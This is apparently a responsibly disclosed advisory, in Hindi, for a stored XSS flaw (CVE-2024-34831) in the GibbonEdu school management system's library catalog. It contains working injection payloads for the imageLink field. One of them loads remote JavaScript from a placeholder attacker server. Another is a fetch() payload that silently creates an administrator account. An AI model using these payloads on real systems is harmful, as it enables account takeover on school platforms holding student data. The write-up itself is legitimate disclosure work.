CVE-2024-34831 GibbonEdu Core v26.0.00 में XSS भेद्यता जिससे विशेषाधिकार वृद्धि होती है

Gibbon एक शानदार ओपन सोर्स पूर्ण स्कूल प्रबंधन प्रणाली है। पुराने कोड बेस को नया रूप देने में बहुत प्रयास किए जा रहे हैं।

लेखक: Christian Bajada

1. भेद्यता

imageLink पैरामीटर नई पुस्तकों को संपादित/सबमिट करते समय (/modules/Library/library_manage_catalog_editProcess.php) XSS के प्रति संवेदनशील है। Manage Catalog अनुमति वाले उपयोगकर्ता इस भेद्यता का शोषण करके उच्च स्तरीय अनुमतियों वाले उपयोगकर्ताओं के लिए मनमानी स्क्रिप्ट निष्पादित कर सकते हैं और विशेषाधिकार बढ़ा सकते हैं।

2. PoC सरल परिदृश्य

1. Learn > Library > Manage Catalog पर जाएं
2. पुस्तक आइटम में से किसी एक को संपादित करें।
3. इमेज लिंक फ़ील्ड ठीक से सैनिटाइज़ नहीं की गई है और हमें मनमाना Javascript चलाने की अनुमति देती है। इमेज लिंक को [http://x](http://x/)" onerror='alert(1)' में बदलें और लाइब्रेरी पृष्ठ लोड करने पर अलर्ट कोड पृष्ठ लोड पर निष्पादित होगा:

3. विशेषाधिकार वृद्धि के लिए PoC

यह खंड बताता है कि कैसे इस भेद्यता का उपयोग एक साधारण alert (1) पॉपअप के अलावा अधिक खतरनाक चीज़ के लिए किया जा सकता है। हम एक लॉग इन व्यवस्थापक को धोखा देने जा रहे हैं ताकि वह आसानी से एक और व्यवस्थापक बना सके, जो हमलावर के लिए सुलभ हो।

imageLink फ़ील्ड Gibbon प्लेटफ़ॉर्म पर किसी भी सार्थक कार्यक्षमता को लागू करने के लिए बहुत छोटा है। हम बस Javascript को कहीं और होस्ट कर सकते हैं और ब्राउज़र द्वारा इसे डाउनलोड और निष्पादित करवा सकते हैं। CSP की कमी इसे संभव बनाती है।

1. दुर्भावनापूर्ण उपयोगकर्ता पेलोड को इस प्रकार तैयार करता है और इसे सार्वजनिक रूप से सुलभ स्थान पर रखता है जैसे https://<yourserver.com>/payload.js। नीचे दिया गया कोड, यदि किसी व्यवस्थापक द्वारा निष्पादित किया जाता है, तो hexthecat नामक एक व्यवस्थापकीय उपयोगकर्ता बनाएगा। कोड Gibbon Core पर एक नया उपयोगकर्ता बनाने के लिए फ़ंक्शन को सभी आवश्यक पैरामीटर के साथ आमंत्रित करता है।

fetch('./modules/User%20Admin/user_manage_addProcess.php', { method: 'POST', body: new URLSearchParams({ title: 'Mr.', surname: 'Cat', firstName: 'Hex', preferredName: 'Hex', 'officialName' : 'Hex', gender: 'M', dob: '01/04/2024', gibbonRoleIDPrimary: '001', username: 'hexthecat', passwordNew: 'Hexed001', passwordConfirm: 'Hexed001', status: 'full', canLogin: 'Y', passwordForceReset: 'Y' }) });

2. दुर्भावनापूर्ण Manage Catalogue उपयोगकर्ता पुस्तक के लिए निम्नलिखित imageLink दर्ज करता है (मूल को रखते हुए और स्क्रिप्ट लोडिंग भाग जोड़ते हुए):

http://books.google.com/books?id=SluXuAAACAAJ&printsec=frontcover&img=1&zoom=1&source=gbs_api" onmouseover="$.getScript('https://<yourserver.com>/payload.js')"

3. व्यवस्थापक लाइब्रेरी ब्राउज़ करता है।

आपको या तो तब तक प्रतीक्षा करनी होगी जब तक व्यवस्थापक लाइब्रेरी कैटलॉग पर नहीं जाता, या फिर उन्हें IM, ईमेल या किसी अन्य माध्यम से समझाना होगा।

माउस को पुस्तक के चित्र पर होवर करने (onmouseover) की क्रिया के कारण पेलोड स्थान (इस मामले में <yourserver.com>) से लाया जाएगा और निष्पादित होगा। इसके परिणामस्वरूप एक व्यवस्थापक उपयोगकर्ता बनता है जिसे दुर्भावनापूर्ण उपयोगकर्ता अब एक्सेस कर सकता है। 'onerror' श्रोता का उपयोग चित्र पर होवर करने की आवश्यकता के बिना पेलोड को तुरंत निष्पादित करने के लिए भी किया जा सकता है।

आप ADMIN > User Admin मेनू में बनाए गए उपयोगकर्ता की जांच कर सकते हैं

4. जिम्मेदार प्रकटीकरण

जिम्मेदार प्रकटीकरण दिशानिर्देशों के अनुसार प्रकाशित https://github.com/GibbonEdu/core/security।

• 06 मई 2024: GibbonEdu अनुरक्षक द्वारा भेद्यता की सूचना दी गई और स्वीकार किया गया।
• 15 मई 2024: MITRE द्वारा CVE संख्या निर्दिष्ट की गई।
• 10 सितंबर 2024: परामर्श प्रकाशित किया गया।